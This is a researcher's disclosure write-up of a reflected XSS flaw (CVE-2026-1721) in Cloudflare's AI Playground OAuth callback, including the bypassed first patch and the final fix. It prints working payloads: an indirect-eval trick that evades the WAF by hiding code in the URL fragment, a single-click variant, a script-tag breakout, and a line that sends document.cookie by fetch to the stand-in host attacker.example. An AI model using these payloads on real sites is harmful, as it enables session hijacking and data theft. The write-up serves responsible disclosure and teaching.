Third post about Cloudflare in a row – I promise I hack other things too. This one is about a Reflected XSS I found in Cloudflare’s AI Playground that could steal any user’s chat history and interact with their connected MCP Servers. Along the way, I had to bypass Cloudflare’s own WAF, upgrade from a 2-click exploit to a single-click one, and watch the fix get patched twice before it actually stuck. The vulnerability was assigned CVE-2026-1721.
Preparation: What is Cloudflare AI Playground?
Cloudflare AI Playground is a web app that lets developers interact with various LLM models hosted on Cloudflare’s Workers AI. You can chat, test prompts, and also connect MCP (Model Context Protocol) Servers to extend the playground’s capabilities – think of it like giving the LLM access to external tools and data sources.
Under the hood, the AI Playground uses an OAuth-like callback mechanism at /agents/playground/Cloudflare-AI-Playground-*/callback/* endpoint to handle authentication flows, particularly for MCP Server connections. Naturally, any callback endpoint that reflects user input deserves a closer look.
The entire source code for the Agents SDK, including the Playground, is public on GitHub, which made auditing significantly easier.
Opening: The Injection Point
While reading the source, I landed on the OAuth callback handler in the server.ts file. The callback URL accepted an error_description query parameter that was directly interpolated into a <script> tag body without any sanitization:
// Simplified vulnerable code
const errorDescription = url.searchParams.get("error_description");
// ...
return new Response(`
<html>
<script>
alert('Authentication failed: ${errorDescription}'); window.close();
</script>
</html>
`);
Classic Reflected XSS – the error_description parameter value lands inside a <script> tag. No encoding, no escaping, no Content Security Policy. An attacker simply had to close the string literal, inject arbitrary JavaScript, and comment out the rest. But there was a catch.
Mid Game: Outsmarting Cloudflare’s WAF
Here’s the ironic part: Cloudflare’s own WAF was protecting the Playground from direct XSS payloads. Sending a straightforward XSS payload like ',alert(1)// in the query string would immediately trigger the WAF block screen. It felt like trying to break into a house whose security system is also guarding you.
Even a simple eval('...') was getting caught. To get past this, I used a double-eval trick: x=eval,x(x('...')). By assigning eval to a variable first and then calling it indirectly, the WAF’s pattern matching couldn’t recognize it as a dangerous eval() invocation. This alone wasn’t enough though – the actual malicious code (the fetch() calls to steal data) still contained patterns that WAF would flag.
That’s where the URL fragment comes in. WAF rules operate on what the server sees, and the fragment (everything after #) never reaches the server. Browsers intentionally strip the fragment before sending requests, making it completely invisible to server-side WAF rules.
The trick was to split the payload into two parts:
- In the query string (visible to WAF): A minimal escape payload that calls
eval()on the URL fragment – innocuous enough to pass WAF rules - In the URL fragment (invisible to WAF): The actual malicious JavaScript that steals data
https://playground.ai.cloudflare.com/.../callback/x
?error_description=test',x=eval,x(x('window.location.hash.slice(1)')))//
#fetch('https://attacker.example/steal?data='+document.cookie)
The query string portion escapes the alert string, then uses eval(eval('window.location.hash.slice(1)')) to extract and execute the fragment. Since the fragment is never sent to the server, it sails right past WAF without scrutiny.
As Cloudflare’s own security team later acknowledged:
The WAF “bypass” is not surprising if you can inject into a <script> tag directly, that’s hard to block.
2-Clicks to Single Click
The initial payload had one annoying limitation. The injected code looked like:
alert('Authentication failed: test',x=eval,x(x('window.location.hash.slice(1)')))//'); window.close();
Since alert() is a blocking function, it would pop up a dialog box that the victim had to click to dismiss before the subsequent malicious fetch() calls would fire. A 2-click exploit works, but it looks suspicious and reduces success rate.
After some brainstorming, I found a way to prevent the alert() from even executing while keeping the expression valid. The JavaScript comma operator evaluates all operands but only returns the last one’s result. By making the last argument throw an error, the alert() call itself never completes:
alert('Authentication failed: test',
x=eval,
x(x('window.location.hash.slice(1)')),
(() => { throw new Error('Dropping alert for Single Click Delivery'); })()
);
The immediately-invoked arrow function throws an error before alert() can display anything, but after eval() has already executed the fragment payload. It is a single-click takeover – the victim clicks one link and the attacker silently extracts their data.
End Game: What Can You Actually Steal?
Once JavaScript executes on the AI Playground origin, the attacker inherits the victim’s session context. Two things are immediately accessible:
1. Chat Message History
Every conversation the victim has had with LLM models on the Playground is stored in the browser’s session. A simple fetch() to the right API endpoint returns the entire conversation history.
Think about what people type into AI playgrounds: code snippets, internal documentation drafts, API keys, business logic, you name it. And now the attacker has all of it.
2. Connected MCP Server Access
This is the bigger deal. If the victim has connected any MCP Servers – Cloudflare’s own MCP Servers, private authenticated ones, or public ones – the attacker can interact with them using the victim’s session.
For example, if a user had connected the Cloudflare CASB MCP Server, the attacker could query CASB findings which may contain sensitive security data.
The attacker could also set the victim’s playground_session_id in their own browser session to persistently mimic the victim’s playground environment and interact with connected MCP Servers at leisure. Essentially, a full session hijack.
The Fix Saga: Patch, Bypass, Patch Again
First Fix: JSON.stringify (PR #788)
Cloudflare’s first patch (commit 70e5040) used JSON.stringify() to encode the error_description before interpolating it into the script tag.
- alert('Authentication failed: ${errorDescription}'); window.close();
+ alert('Authentication failed: ' + JSON.stringify(${errorDescription})); window.close();
JSON.stringify() is not an XSS prevention function. It doesn’t prevent script tag breakouts. An attacker can still inject </script><script>malicious()</script> and escape the context entirely. I confirmed the bypass and flagged it.
Interestingly, an AI code review on that same PR had already pointed this out – Claude’s review caught the insufficient fix before I even tested it. Machines reading machines helping humans fix human mistakes – That too was missed.
Final Fix: Remove the Script Tag (PR #841)
The proper fix landed in the second patch. Instead of trying to sanitize user input inside a <script> tag, they removed the inline script entirely. Error messages are now properly HTML-escaped.
Patch URLs
| Resource | Link |
|---|---|
| Vulnerable Source | server.ts#L51 |
| MCP Client Code | client.ts#L219-L233 |
| Fix Attempt 1 (Bypassed) | PR #788 / Commit 70e5040 |
| Final Fix | PR #841 |
| CVE Record | CVE-2026-1721 |
CVE-2026-1721
The vulnerability was formally assigned CVE-2026-1721 (CVE Record). Interestingly, the CVE was rated at Medium severity, while the HackerOne report was assessed as Low – Schrödinger’s severity, both medium and low until you open the right dashboard. The affected component is the Cloudflare Agents SDK, specifically the AI Playground’s OAuth callback handler. Since the agents repository is open source, anyone running a forked or self-hosted version of the AI Playground should update to the latest version 0.3.10 or above.
Timeline
| Date | Event |
|---|---|
| Nov 13, 2025 | Report submitted to Cloudflare via HackerOne |
| Nov 15, 2025 | Upgraded from 2-clicks to single-click exploit |
| Nov 15, 2025 | Report triaged |
| Jan 13, 2026 | Severity set to Low (low playground usage) & $400 Bounty awarded |
| Jan 30, 2026 | First fix (PR #788) submitted for retest |
| Feb 04, 2026 | Second fix (PR #841) submitted for retest |
| Feb 13, 2026 | CVE-2026-1721 published |
| Feb 16, 2026 | Writeup Published |